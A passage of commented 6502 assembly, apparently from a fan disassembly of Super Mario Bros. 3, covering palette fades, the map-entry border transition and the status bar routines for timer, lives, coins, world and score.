BNE PRG026_AC07 ; If not, jump to PRG026_AC07
LDA Pal_Data,Y ; Get the target byte
AND #$0f ; Gets the darkest shade of this color
JMP PRG026_AC0F ; Jump to PRG026_AC0F
PRG026_AC07:
CMP Pal_Data,Y ; Compare this against the target palette byte
BEQ PRG026_AC12 ; If we reached the target, jump to PRG026_AC12
ADD #$10 ; Otherwise, add $10 (brighter)
PRG026_AC0F:
STA Palette_Buffer,Y ; Update the buffer!
PRG026_AC12:
DEY ; Y--
BPL PRG026_ABF8 ; While Y >= 0, loop!
LDA #$06
STA <Graphics_Queue ; Queue graphics routine 6
PRG026_AC19:
RTS ; Return
PRG026_AC1A:
LDA #$00
STA Fade_State ; Fade_State = 0
RTS ; Return
Palette_PrepareFadeOut:
LDA FadeOut_Cancel
BNE PRG026_AC29 ; If FadeOut_Cancel <> 0, jump to PRG026_AC29 (RTS)
SEC ; signals to use "fade out" prep code
JMP Palette_PrepareFadeOut_Entry
PRG026_AC29:
RTS ; Return
Palette_DoFadeOut:
LDA FadeOut_Cancel
BNE PRG026_AC60 ; If FadeOut_Cancel <> 0, jump to PRG026_AC60
LDA Fade_Tick
BEQ PRG026_AC37 ; If Fade_Tick = 0, jump to PRG026_AC37
DEC Fade_Tick ; Fade_Tick--
PRG026_AC37:
LDA Fade_Level
BEQ PRG026_AC60 ; If Fade_Level = 0, jump to PRG026_AC60
LDA Fade_Tick
BNE PRG026_AC5F ; If Fade_Tick <> 0, jump to PRG026_AC5F
LDA #$04
STA Fade_Tick ; Fade_Tick = 4
DEC Fade_Level ; Fade_Level--
; For all palette colors...
LDY #31
PRG026_AC4B:
LDA Palette_Buffer,Y ; Get this color
SUB #16 ; Subtract 16 from it
BPL PRG026_AC55 ; If we didn't go below zero, jump to PRG026_AC55
LDA #$0f ; Otherwise, set it to safe minimum
PRG026_AC55:
STA Palette_Buffer,Y ; Update palette color
DEY ; Y--
BPL PRG026_AC4B ; While Y >= 0, loop!
; Update palette
LDA #$06
STA <Graphics_Queue
PRG026_AC5F:
RTS ; Return
PRG026_AC60:
; Fade out cancellation request
LDA #$00
STA Fade_State
STA FadeOut_Cancel
RTS ; Return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Palette_FadeIn
;
; This performs the palette fade-in routine
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Palette_FadeIn: ; AC69
JSR Palette_PrepareFadeIn ; Prepare to fade in!
; Some kind of hardware thing??
LDA #$00
STA PPU_VRAM_ADDR
STA PPU_VRAM_ADDR
LDA #$10
STA PPU_VRAM_ADDR
STA PPU_VRAM_ADDR
LDA #$00
STA PPU_VRAM_ADDR
STA PPU_VRAM_ADDR
LDA #$10
STA PPU_VRAM_ADDR
STA PPU_VRAM_ADDR
PRG026_AC8C:
LDA PPU_STAT ; Get PPU_STAT
AND #$80
BNE PRG026_AC8C ; If VBlank is NOT occurring, loop!
LDA #%10101000 ; PT2 is sprites, use 8x16 sprites, generate VBlanks
; Update PPU_CTL1 and local copy
STA PPU_CTL1
STA <PPU_CTL1_Copy
LDA #%00011000 ; Show sprites + BG
STA <PPU_CTL2_Copy
PRG026_AC9E:
; Update the palette based on the buffer
JSR GraphicsBuf_Prep_And_WaitVSync
JSR Palette_DoFadeIn ; Do the fade in
LDA Fade_Level
BNE PRG026_AC9E ; If fade-in not complete, go around again!
RTS ; Return...
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Palette_FadeOut
;
; This performs the palette fade-out routine
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Palette_FadeOut:
JSR Palette_PrepareFadeOut ; Prepare to fade out!
; Wait for V-Blank
PRG026_ACAD:
LDA PPU_STAT
AND #$80
BNE PRG026_ACAD
LDA #%10101000 ; PT2 is sprites, use 8x16 sprites, generate VBlanks
; Update PPU_CTL1 and local copy
STA PPU_CTL1
STA <PPU_CTL1_Copy
LDA #%00011000 ; Show sprites + BG
STA <PPU_CTL2_Copy
PRG026_ACBF:
; Update the palette based on the buffer
JSR GraphicsBuf_Prep_And_WaitVSync
JSR Palette_DoFadeOut ; Do the fade out
LDA Fade_Level
BNE PRG026_ACBF ; If fade-out not complete, go around again!
RTS ; Return
PRG026_ACCB: .byte $40, $40, $20, $00, $00, $00
Map_EnterLevel_Effect: ; routine called while entering a level
LDA PPU_STAT
LDX Map_EntTran_BorderLoop ; X = current border index (0-3: Top 0, bottom 1, right 2, left 3)
; Copy this border's VRAM addresses to Map_EntTran_VAddrH/L
LDA Map_EntTran_BVAddrH,X
STA Map_EntTran_VAddrH
LDA Map_EntTran_BVAddrL,X
STA Map_EntTran_VAddrL
LDA Map_EntTran_BorderLoop ; Get current border loop index
AND #$02
BEQ PRG026_ACF6 ; If not updating left/right (i.e. doing top/bottom), jump to PRG026_ACF6
LDY Map_EntTran_LRCnt ; Y = Map_EntTran_LRCnt
; Set vertical update mode (left/right edges benefit from this)
LDA <PPU_CTL1_Copy
ORA #$04
STA <PPU_CTL1_Copy
JMP PRG026_ACFF ; Jump to PRG026_ACFF
PRG026_ACF6:
LDY Map_EntTran_TBCnt ; Y = Map_EntTran_TBCnt
; Set horizontal update mode (top/bottom edges benefit from this)
LDA <PPU_CTL1_Copy
AND #$fb
STA <PPU_CTL1_Copy
PRG026_ACFF:
LDA <PPU_CTL1_Copy
STA PPU_CTL1 ; Commit changes to PPU_CTL1
; Set this border's VRAM addresses
LDA Map_EntTran_VAddrH
STA PPU_VRAM_ADDR
LDA Map_EntTran_VAddrL
STA PPU_VRAM_ADDR
PRG026_AD10:
LDA #$ff ; black pattern
STA PPU_VRAM_DATA ; Store into VRAM
LDA Map_EntTran_BorderLoop
AND #$02
BNE PRG026_AD26 ; If updating left/right, jump to PRG026_AD26
; top/bottom update...
INC Map_EntTran_VAddrL ; Map_EntTran_VAddrL++
LDA Map_EntTran_VAddrL
AND #$1f
BEQ PRG026_AD2B ; If Map_EntTran_VAddrL has covered 32 bytes, jump to PRG026_AD2B
PRG026_AD26:
DEY ; Y--
BPL PRG026_AD10 ; While Y >= 0, loop!
BMI PRG026_AD37 ; If loop has ended, jump to PRG026_AD37
PRG026_AD2B:
; After covering 32 bytes, reset
LDA Map_EntTran_VAddrL
SUB #32
STA Map_EntTran_VAddrL ; Map_EntTran_VAddrL -= 32
DEY ; Y--
BPL PRG026_ACFF ; While Y >= 0, loop! (and reset VRAM address, since autoincrement needs reset too)
PRG026_AD37:
JSR Border_Do ; Update this edge of the border
INC Map_EntTran_BorderLoop
LDA Map_EntTran_BorderLoop
AND #$03
STA Map_EntTran_BorderLoop ; Map_EntTran_BorderLoop = (Map_EntTran_BorderLoop + 1) & 3
LDY Map_EntTran_Cnt ; Y = Map_EntTran_Cnt
CPY #$06
BGE PRG026_AD67 ; If Map_EntTran_Cnt >= 6, jump to PRG026_AD67
LDA <PPU_CTL1_Copy
AND #$04
BNE PRG026_AD67 ; If vertical update bit is set (?), jump to PRG026_AD67 (RTS)
; Pump in final black tiles
LDX #31
; Set VRAM address to [$2B][PRG026_ACCB[Y]]
LDA #$2b
STA PPU_VRAM_ADDR
LDA PRG026_ACCB,Y
STA PPU_VRAM_ADDR
PRG026_AD5F:
LDA #$ff
STA PPU_VRAM_DATA
DEX ; X--
BPL PRG026_AD5F ; While X >= 0, loop!
PRG026_AD67:
RTS ; Return
Border_Do:
LDA Map_EntTran_BorderLoop
JSR DynJump
; THESE MUST FOLLOW DynJump FOR THE DYNAMIC JUMP TO WORK!!
.word Border_Top
.word Border_Bottom
.word Border_Right
.word Border_Left
Border_Top:
LDX Map_EntTran_BorderLoop ; X = current border index
LDA Map_EntTran_BVAddrL,X
AND #$1f
CMP #$1f
BEQ PRG026_AD94 ; If Map_EntTran_BVAddrL is at the 31st byte, jump to PRG026_AD94
; Otherwise... Map_EntTran_BVAddrH/L += 33 (causes it to shift over, creating the diagonals)
LDA Map_EntTran_BVAddrL,X
ADD #33
STA Map_EntTran_BVAddrL,X
LDA Map_EntTran_BVAddrH,X
ADC #$00
STA Map_EntTran_BVAddrH,X
RTS ; Return
PRG026_AD94:
; 31st byte, top
; Map_EntTran_BVAddrH/L += 1
LDA Map_EntTran_BVAddrL,X
ADD #$01
STA Map_EntTran_BVAddrL,X
LDA Map_EntTran_BVAddrH,X
ADC #$00
STA Map_EntTran_BVAddrH,X
RTS ; Return
Border_Right:
LDX Map_EntTran_BorderLoop ; X = current border index
; Map_EntTran_BVAddrH/L += 31
LDA Map_EntTran_BVAddrL,X
ADD #31
STA Map_EntTran_BVAddrL,X
LDA Map_EntTran_BVAddrH,X
ADC #$00
STA Map_EntTran_BVAddrH,X
RTS ; Return
Border_Bottom:
LDX Map_EntTran_BorderLoop ; X = current border index
; Map_EntTran_BVAddrH/L -= 31 (causes it to shift over, creating the diagonals)
LDA Map_EntTran_BVAddrL,X
SUB #31
STA Map_EntTran_BVAddrL,X
LDA Map_EntTran_BVAddrH,X
SBC #$00
STA Map_EntTran_BVAddrH,X
DEC Map_EntTran_TBCnt
DEC Map_EntTran_TBCnt ; Map_EntTran_TBCnt -= 2
RTS ; Return
Border_Left:
LDX Map_EntTran_BorderLoop ; X = current border index
; Map_EntTran_BVAddrH/L += 33
LDA Map_EntTran_BVAddrL,X
ADD #33
STA Map_EntTran_BVAddrL,X
LDA Map_EntTran_BVAddrH,X
ADC #$00
STA Map_EntTran_BVAddrH,X
DEC Map_EntTran_LRCnt
DEC Map_EntTran_LRCnt ; Map_EntTran_LRCnt -= 2
RTS ; Return
Level_Opening_Effect: ; Unused in the US release; this is the reverse effect of the map entry
LDA PPU_STAT
LDA Map_EntTran_BorderLoop ; A = current border index (0-3: Top 0, bottom 1, right 2, left 3)
AND #$02
BEQ PRG026_AE07 ; If updating top/bottom, jump to PRG026_AE07
; left/right update..
LDY Map_EntTran_LRCnt
; Set vertical update mode (left/right edges benefit from this)
LDA <PPU_CTL1_Copy
ORA #$04
STA <PPU_CTL1_Copy
JMP PRG026_AE10 ; Jump to PRG026_AE10
PRG026_AE07:
LDY Map_EntTran_TBCnt ; Y = Map_EntTran_TBCnt
; Set horizontal update mode (top/bottom edges benefit from this)
LDA <PPU_CTL1_Copy
AND #$fb
STA <PPU_CTL1_Copy
PRG026_AE10:
LDA <PPU_CTL1_Copy
STA PPU_CTL1 ; Commit changes to PPU_CTL1
LDX Map_EntTran_BorderLoop ; X = current border index
; Set VRAM address for this border
LDA Map_EntTran_BVAddrH,X
STA PPU_VRAM_ADDR
LDA Map_EntTran_BVAddrL,X
STA PPU_VRAM_ADDR
PRG026_AE24:
LDA Scroll_ColorStrip,Y
STA PPU_VRAM_DATA ; Store attribute data to VRAM
CPY Map_EntTran_Temp
BEQ PRG026_AE35 ; If Y = Map_EntTran_Temp, jump to PRG026_AE35
DEY ; Y--
BPL PRG026_AE24 ; While Y >= 0, loop
JMP PRG026_AE51 ; Jump to PRG026_AE51
PRG026_AE35:
LDA #$ff
STA Map_EntTran_Temp ; Map_EntTran_Temp = $FF
; Set VRAM address to [$28][Map_EntTran_BVAddrL & $1f]
LDA #$28
STA PPU_VRAM_ADDR
LDA Map_EntTran_BVAddrL,X
AND #$1f
STA PPU_VRAM_ADDR
DEY ; Y--
PRG026_AE48:
LDA Scroll_ColorStrip,Y
STA PPU_VRAM_DATA ; Store attribute data to VRAM
DEY ; Y--
BPL PRG026_AE48 ; While Y >= 0, loop
PRG026_AE51:
JSR BorderOut_Do ; Update this edge of the border!
INC Map_EntTran_BorderLoop
LDA Map_EntTran_BorderLoop
AND #$03
STA Map_EntTran_BorderLoop ; Map_EntTran_BorderLoop = (Map_EntTran_BorderLoop + 1) & 3
INC Map_EntTran_Cnt ; Map_EntTran_Cnt++
RTS ; Return
BorderOut_VHLimitTRL: .byte $20, $00, $00, $00, $28
BorderOut_VHLimitB: .byte $23, $00, $00, $00, $2A
BorderOut_Do:
LDA Map_EntTran_BorderLoop
JSR DynJump
; THESE MUST FOLLOW DynJump FOR THE DYNAMIC JUMP TO WORK!!
.word BorderOut_Top
.word BorderOut_Bottom
.word BorderOut_Right
.word BorderOut_Left
BorderOut_Top:
LDX Map_EntTran_InitValIdx
LDA BorderOut_VHLimitTRL,X
LDX Map_EntTran_BorderLoop
CMP Map_EntTran_BVAddrH,X
BNE PRG026_AE92 ; If Map_EntTran_BVAddrH[Map_EntTran_BorderLoop] <> BorderOut_VHLimitTRL[Map_EntTran_InitValIdx], jump to PRG026_AE92
; Otherwise...
LDA Map_EntTran_BVAddrL,X
CMP #$20
BGE PRG026_AE92 ; If Map_EntTran_BVAddrL >= $20, jump to PRG026_AE92
BLT PRG026_AEA6 ; Otherwise, jump to PRG026_AEA6
PRG026_AE92:
; Map_EntTran_BVAddrL >= $20
LDX Map_EntTran_BorderLoop ; X = border index
; Map_EntTran_BVAddrH/L -= 33
LDA Map_EntTran_BVAddrL,X
SUB #33
STA Map_EntTran_BVAddrL,X
LDA Map_EntTran_BVAddrH,X
SBC #$00
STA Map_EntTran_BVAddrH,X
PRG026_AEA6:
LDA Map_EntTran_BVAddrH,X
CMP #$27
BNE PRG026_AEBB ; If Map_EntTran_BVAddrH <> $27, jump to PRG026_AEBB (RTS)
; Map_EntTran_BVAddrH = $23
LDA #$23
STA Map_EntTran_BVAddrH,X
; Map_EntTran_BVAddrL -= $40
LDA Map_EntTran_BVAddrL,X
SUB #$40
STA Map_EntTran_BVAddrL,X
PRG026_AEBB:
RTS
BorderOut_Right:
LDX Map_EntTran_InitValIdx
LDA BorderOut_VHLimitTRL,X
LDX Map_EntTran_BorderLoop
CMP Map_EntTran_BVAddrH,X
BNE PRG026_AED7 ; If Map_EntTran_BVAddrH[Map_EntTran_BorderLoop] <> BorderOut_VHLimitTRL[Map_EntTran_InitValIdx], jump to PRG026_AED7
LDA Map_EntTran_BVAddrL,X
CMP #$1e
BNE PRG026_AED7 ; If Map_EntTran_BVAddrL <> $1e, jump to PRG026_AED7
INC Map_EntTran_BVAddrL,X ; Map_EntTran_BVAddrL++
JMP PRG026_AEE8 ; Jump to PRG026_AEE8
PRG026_AED7:
; Map_EntTran_BVAddrH/L -= 31
LDA Map_EntTran_BVAddrL,X
SUB #31
STA Map_EntTran_BVAddrL,X
LDA Map_EntTran_BVAddrH,X
SBC #$00
STA Map_EntTran_BVAddrH,X
PRG026_AEE8:
LDA Map_EntTran_BVAddrH,X
CMP #$27
BNE PRG026_AEFD ; If Map_EntTran_BVAddrH <> $27, jump to PRG026_AEFD (RTS)
LDA #$23
STA Map_EntTran_BVAddrH,X
; Map_EntTran_BVAddrL -= $40
LDA Map_EntTran_BVAddrL,X
SUB #$40
STA Map_EntTran_BVAddrL,X
PRG026_AEFD:
RTS ; Return
BorderOut_Bottom:
LDX Map_EntTran_InitValIdx
LDA BorderOut_VHLimitB,X
LDX Map_EntTran_BorderLoop
CMP Map_EntTran_BVAddrH,X
BNE PRG026_AF1C ; If Map_EntTran_BVAddrH[Map_EntTran_BorderLoop] <> BorderOut_VHLimitB[Map_EntTran_InitValIdx], jump to PRG026_AF1C
LDA Map_EntTran_InitValIdx
CMP #$04
BLT PRG026_AF33 ; If Map_EntTran_InitValIdx < 4, jump to PRG026_AF33
LDA Map_EntTran_BVAddrL,X
CMP #$e0
BLT PRG026_AF1C ; If Map_EntTran_BVAddrL < $e0, jump to PRG026_AF1C
BGE PRG026_AF33 ; Otherwise, jump to PRG026_AF33
PRG026_AF1C:
; Map_EntTran_BVAddrH/L += 31
LDA Map_EntTran_BVAddrL,X
ADD #31
STA Map_EntTran_BVAddrL,X
LDA Map_EntTran_BVAddrH,X
ADC #$00
STA Map_EntTran_BVAddrH,X
INC Map_EntTran_TBCnt
INC Map_EntTran_TBCnt ; Map_EntTran_TBCnt += 2
PRG026_AF33:
LDA Map_EntTran_BVAddrH,X
CMP #$23
BNE PRG026_AF4E ; If Map_EntTran_BVAddrH <> $23, jump to PRG026_AF4E (RTS)
LDA Map_EntTran_BVAddrL,X
CMP #$c0
BLT PRG026_AF4E ; If Map_EntTran_BVAddrL < $c0, jump to PRG026_AF4E (RTS)
LDA #$28
STA Map_EntTran_BVAddrH,X ; Map_EntTran_BVAddrH = $28
LDA Map_EntTran_BVAddrL,X
AND #$1f
STA Map_EntTran_BVAddrL,X ; Map_EntTran_BVAddrL &= $31
PRG026_AF4E:
RTS ; Return
BorderOut_Left:
LDX Map_EntTran_InitValIdx
LDA BorderOut_VHLimitTRL,X
LDX Map_EntTran_BorderLoop
CMP Map_EntTran_BVAddrH,X
BNE PRG026_AF70 ; If Map_EntTran_BVAddrH[Map_EntTran_BorderLoop] <> BorderOut_VHLimitTRL[Map_EntTran_InitValIdx], jump to PRG026_AF70
LDA Map_EntTran_BVAddrL,X
CMP #$02
BNE PRG026_AF70 ; If Map_EntTran_BVAddrL <> 2, jump to PRG026_AF70
DEC Map_EntTran_BVAddrL,X ; PRG026_AF70--
LDA Map_EntTran_InitValIdx
CMP #$04
BLT PRG026_AF84 ; If Map_EntTran_InitValIdx < 4, jump to PRG026_AF84
BEQ PRG026_AF87 ; If Map_EntTran_InitValIdx = 4, jump to PRG026_AF87
PRG026_AF70:
; Map_EntTran_BVAddrH/L -= 33
LDA Map_EntTran_BVAddrL,X
SUB #33
STA Map_EntTran_BVAddrL,X
LDA Map_EntTran_BVAddrH,X
SBC #$00
STA Map_EntTran_BVAddrH,X
INC Map_EntTran_LRCnt ; Map_EntTran_LRCnt++
PRG026_AF84:
INC Map_EntTran_LRCnt ; Map_EntTran_LRCnt++
PRG026_AF87:
LDA Map_EntTran_BVAddrH,X
CMP #$27
BNE PRG026_AF9C ; If Map_EntTran_BVAddrH <> $27, jump to PRG026_AF9C
LDA #$23
STA Map_EntTran_BVAddrH,X ; Map_EntTran_BVAddrH = $23
LDA Map_EntTran_BVAddrL,X
SUB #$40
STA Map_EntTran_BVAddrL,X ; Map_EntTran_BVAddrL -= $40
PRG026_AF9C:
RTS ; Return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; StatusBar_Fill_Time
;
; Fills the StatusBar_Time array with tiles representing
; the current time remaining; also updates the clock
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
StatusBar_Fill_Time:
LDA Level_Tileset
BEQ Timer_NoChange ; If Level_Tileset = 0, jump to Timer_NoChange (no timer on map EVER)
CMP #15
BGE Timer_NoChange ; If Level_Tileset >= 15, jump to Timer_NoChange
LDA Level_TimerEn
AND #$7f ; Only checking the timer disable here
ORA Player_InPipe ; ... or if Player is in pipe
BNE Timer_NoChange ; If set, timer is disabled! Jump to Timer_NoChange
DEC Level_TimerTick ; Level_TimerTick--
BPL Timer_NoChange ; If Level_TimerTick >= 0, jump to Timer_NoChange
; Reload Level_TimerTick
LDA #$28
STA Level_TimerTick ; Level_TimerTick = $28
DEC Level_TimerLSD ; Level_TimerLSD--
BPL PRG026_AFDC ; If it hasn't rolled over, jump to PRG026_AFDC
; LSD rolled over!
LDA #$09
STA Level_TimerLSD ; Level_TimerLSD = 9
DEC Level_TimerMid ; Level_TimerMid--
BPL PRG026_AFDC ; If it hasn't rolled over, jump to PRG026_AFDC
; Mid rolled over!
STA Level_TimerMid ; Level_TimerMid = 9
DEC Level_TimerMSD ; Level_TimerMSD--
BPL PRG026_AFDC ; If it hasn't rolled over, jump to PRG026_AFDC
; At expiration of MSD, we're out of time! Zero everybody!
LDA #$00
STA Level_TimerMSD
STA Level_TimerMid
STA Level_TimerLSD
PRG026_AFDC:
LDA Level_TimerMSD
CMP #$01
BNE Timer_NoChange ; If Level_TimerMSD <> 1, jump to Timer_NoChange
; MSD is 1...
LDA Level_TimerMid
ORA Level_TimerLSD
BNE Timer_NoChange ; If !(Level_TimerMid == 0 && Level_TimerLSD == 0), jump to Timer_NoChange
; Time is running out!
LDA #MUS1_TIMEWARNING
STA Sound_QMusic1 ; Queue low-time warning music!
Timer_NoChange:
; For all 3 digits of time, write their tiles...
LDX #$02 ; X = 2
PRG026_AFF2:
LDA Level_TimerMSD,X ; Get digit
ORA #$f0 ; Offset as tile
STA StatusBar_Time,X ; Store it into StatusBar_Time
DEX ; X--
BPL PRG026_AFF2 ; While X >= 0, loop!
RTS ; Return
; FIXME: Anybody want to claim this?
; Uses graphics buffer to push out the 3 digits of timer unlike the special buffers used by status bar
; $AFFE
LDX Graphics_BufCnt ; X = graphics buffer count
LDA #$2b ; VRAM High in non-vertical level
LDY Level_7Vertical
BEQ PRG026_B00A
LDA #$27 ; VRAM High in vertical level
PRG026_B00A:
; VRAM High address
STA Graphics_Buffer,X
; VRAM Low address
LDA #$51
STA Graphics_Buffer+1,X
; Run length of 3
LDA #$03
STA Graphics_Buffer+2,X
; 3 timer digits
LDA Level_TimerMSD
ORA #$f0
STA Graphics_Buffer+3,X
LDA Level_TimerMid
ORA #$f0
STA Graphics_Buffer+4,X
LDA Level_TimerLSD
ORA #$f0
STA Graphics_Buffer+5,X
; Terminator
LDA #$00
STA Graphics_Buffer+6,X
; Add to graphics buffer count
TXA
ADD #$06
STA Graphics_BufCnt
RTS ; Return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; StatusBar_Fill_Lives
;
; Fills the StatusBar_LivesL/H values with tiles representing
; the current lives held by the player
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
StatusBar_Fill_Lives:
LDX Player_Current ; X = Player_Current
LDY #$00 ; Y = 0
LDA Player_Lives,X ; Get current player's lives count -> A
CMP #$ff
BNE PRG026_B04D ; If lives <> $FF, jump to PRG026_B04D
; Lives are $FF (last death at zero lives)
LDA #$0E ; A = $E (this will appear as a blank tile)
JMP PRG026_B061 ; Jump to PRG026_B061
PRG026_B04D:
CMP #100
BLS PRG026_B056 ; If Player's lives are under 100, jump to PRG026_B056
LDA #99
STA Player_Lives,X ; Otherwise, force Player's lives to cap at 99
PRG026_B056:
; Loop while A > 10, basically a rudimentary modulus for the
; LSD; 'Y' will count the loops, and thus be the MSD
CMP #10
BMI PRG026_B061 ; When A is under 10, jump to PRG026_B061
SUB #10 ; A -= 10 (find the LSD)
INY ; Y++ (form the MSD)
JMP PRG026_B056 ; Loop again...
PRG026_B061:
ADD #$f0 ; Offset the LSD to the appropriate tile
STA StatusBar_LivesL ; Store into StatusBar_LivesL
TYA ; Most significant digit -> A
BNE PRG026_B06C ; Anything but zero, jump to PRG026_B06C
LDA #$0E ; Otherwise, use blank tile instead of leading zero
PRG026_B06C:
ADD #$f0 ; Offset to appropriate tile
STA StatusBar_LivesH ; Store into StatusBar_LivesH
RTS ; Return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; StatusBar_Fill_Coins
;
; Fills the StatusBar_CoinsL/H values with tiles representing
; the current coins held by the player; also applies the
; Coins_Earned value to the active total and issues 1-ups
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
StatusBar_Fill_Coins:
LDA #Inventory_Coins-Inventory_Items ; A = $22 (offset to Mario's coins)
LDX Player_Current ; X = Player_Current
BEQ PRG026_B07D ; If Player_Current = 0 (Mario), jump to PRG026_B07D
ADD #(Inventory_Coins2-Inventory_Items)-(Inventory_Coins-Inventory_Items) ; Otherwise, A = $45 (offset to Luigi's coins)
PRG026_B07D:
LDY #$00 ; Y = 0 (for loop at PRG026_B09F)
TAX ; X = $22 / $45
LDA Inventory_Items,X ; Getting this player's coins, not items, but Nintendo used this offset, so...
ADD Coins_Earned ; Add in any coins earned
STA Inventory_Items,X ; Store total
CMP #100
BLT PRG026_B09F ; If coin total is < 100, jump to PRG026_B09F
SUB #100 ; Take 100 away
STA Inventory_Items,X ; Store new total
LDX Player_Current ; X = Player_Current
INC Player_Lives,X ; Extra life!
LDA #SND_LEVEL1UP
STA Sound_QLevel1 ; Play 1-up extra life sound
;LDA #MUS2A_WORLD8
;STA Sound_QMusic2 ; Now it's Sonic 2 Beta!
; This continually subtracts 10 as long you have more than 10
; coins, sort of a rudimentary modulus operation...
PRG026_B09F:
CMP #10
BMI PRG026_B0AA
SUB #10
INY ; Y will be the most significant digit by virtue of loop counting
JMP PRG026_B09F
PRG026_B0AA:
LDX Graphics_BufCnt ; X = Graphics_BufCnt
ADD #$f0 ; With 'A' as the lower coin digit, this adds $F0 to it to make the respective 0-9 tile
STA StatusBar_CoinL ; Store into StatusBar_CoinL
TYA ; A = Y (most significant digit)
BNE PRG026_B0B8 ; If it's anything but zero, jump to PRG026_B0B8
LDA #Temp_Var15 ; Otherwise, we're going to use a blank, instead of a leading zero
PRG026_B0B8:
ADD #$f0 ; Offset to proper MSD tile
STA StatusBar_CoinH ; Store into StatusBar_CoinH
LDA #$00
STA Coins_Earned ; Coins_Earned has been applied, remove
RTS ; Return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; StatusBar_Fill_World
;
; Simply puts the correct world number in the status bar
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
StatusBar_Fill_World:
LDY Graphics_BufCnt ; Y = Graphics_BufCnt
LDX World_Num
INX ; X = World_Num+1
TXA ; A = X
ORA #$f0 ; Mark it up as a tile
STA Graphics_Buffer+3,Y
; Terminate prior graphic data
LDA #$00
STA Graphics_Buffer+4,Y
LDX #$27 ; X = $27 (VRAM High if vertical)
LDA Level_7Vertical
BNE PRG026_B0EC ; If level is vertical, jump to PRG026_B0EC
LDX #$2b ; X = $2B (VRAM High if non-vertical)
LDA Level_Tileset
CMP #16
BEQ PRG026_B0EA ; If tileset = 16 (Spade game), jump to PRG026_B0EA
CMP #17
BNE PRG026_B0EC ; If tileset = 17 (N-Spade game), jump to PRG026_B0EC
PRG026_B0EA:
LDX #$23 ; X = $23 (VRAM High in Spade/N-Spade bonus games only)
PRG026_B0EC:
TXA
; VRAM Address High
STA Graphics_Buffer,Y
; VRAM Address Low
LDA #$26
STA Graphics_Buffer+1,Y
; Run length of 1
LDA #$01
STA Graphics_Buffer+2,Y
; Update Graphics_BufCnt
LDA Graphics_BufCnt
ADD #$04
STA Graphics_BufCnt
RTS ; Return
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; StatusBar_Fill_MorL
;
; Simply puts the correct <M> or <L> in the status bar
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PRG026_B104:
.byte $74, $75, $76, $77 ; Two tiles each, for <M> or <L>, respectively
StatusBar_Fill_MorL:
LDA Player_Current
ASL A ; A = Player_Current << 1
TAX ; X = A
LDA #$01 ; A = 1
STA <Temp_Var15 ; Temp_Var15 = 1
LDY Graphics_BufCnt ; Y = Graphics_BufCnt
; Loop to copy the two tiles
PRG026_B114:
LDA PRG026_B104,X ; Get player-relevant tile
STA Graphics_Buffer+3,Y ; -> graphics buffer
INX ; X++
INY ; Y++
DEC <Temp_Var15 ; Temp_Var15--
BPL PRG026_B114 ; While Temp_Var15 > 0, loop!
LDA #$00
STA Graphics_Buffer+3,Y ; Add a terminator
LDY Graphics_BufCnt ; Y = Graphics_BufCnt
LDX #$27 ; X = $27 (VRAM address high if vertical)
LDA Level_7Vertical
BNE PRG026_B13E ; If level is vertical, jump to PRG026_B13E
LDX #$2b ; X = $2B (VRAM address high if non-vertical)
LDA Level_Tileset
CMP #16
BEQ PRG026_B13C ; If Level_Tileset = 16 (Spade game), jump to PRG026_B13C
CMP #17
BNE PRG026_B13E ; If Level_Tileset = 17 (N-Spade game), jump to PRG026_B13E
PRG026_B13C:
LDX #$23 ; X = $23 (VRAM Address high for Spade/N-Spade bonus games only)
PRG026_B13E:
; VRAM Address High
TXA
STA Graphics_Buffer,Y
; VRAM Address low
LDA #$42
STA Graphics_Buffer+1,Y
; Run length of 2
LDA #$02
STA Graphics_Buffer+2,Y
; Update buffer count appropriately
LDA Graphics_BufCnt
ADD #$05
STA Graphics_BufCnt
RTS ; Return
PRG026_B156:
.byte $2B, $48, $06, $00, $00, $00, $00, $00, $00, $00
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; StatusBar_Fill_Score
;
; Fills the StatusBar_PMT array with tiles representing
; the current score; also applies the
; Score_Earned value to the active total
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PRG026_B160: .byte $00, $00, $00, $00, $00, $01
PRG026_B166: .byte $00, $00, $00, $03, $27, $86
PRG026_B16C: .byte $01, $0A, $64, $E8, $10, $A0
PRG026_B172: .byte $0F, $42, $3F
StatusBar_Fill_Score:
LDA Player_Score+2 ; Get least significant byte of score
ADD Score_Earned ; Add in any earned points
STA Player_Score+2 ; Store into least significant digit
STA <Temp_Var1 ; Keep LSD in Temp_Var1
LDA Player_Score+1 ; Get next higher byte
ADC Score_Earned+1 ; Add score and carry to of earned high byte to middle score byte
STA Player_Score+1 ; Store result
STA <Temp_Var2 ; Keep middle digit in Temp_Var2
LDA Player_Score ; Get most significant byte of score
ADC #$00 ; Add in any carry
STA Player_Score ; Store result
STA <Temp_Var3 ; Keep MSD in Temp_Var3
; This giant loop is how you use an 8-bit CPU to display
; 6* digits of score from a 3-byte integer :)
; * - The rightmost/least significant 0 is a placeholder, and
; will always be zero, thus score is always a multiple of 10
LDY #$00 ; Y = 0
LDX #$05 ; X = 5 0-5, 6 digits
PRG026_B19A:
LDA <Temp_Var1 ; Get LSD -> A
; I haven't taken time yet to discern this magic yet
SUB PRG026_B16C,X
STA <Temp_Var1
LDA <Temp_Var2
SBC PRG026_B166,X
STA <Temp_Var2
LDA <Temp_Var3
SBC PRG026_B160,X
STA <Temp_Var3
BCC PRG026_B1B8 ; If the subtraction didn't go negative, jump to PRG026_B1B8
INC Score_Temp ; Score_Temp++
JMP PRG026_B19A ; Jump to PRG026_B19A
PRG026_B1B8:
LDA <Temp_Var1
; I haven't taken time yet to discern this magic yet
ADD PRG026_B16C,X
STA <Temp_Var1
LDA <Temp_Var2
ADC PRG026_B166,X
STA <Temp_Var2
LDA <Temp_Var3
ADC PRG026_B160,X
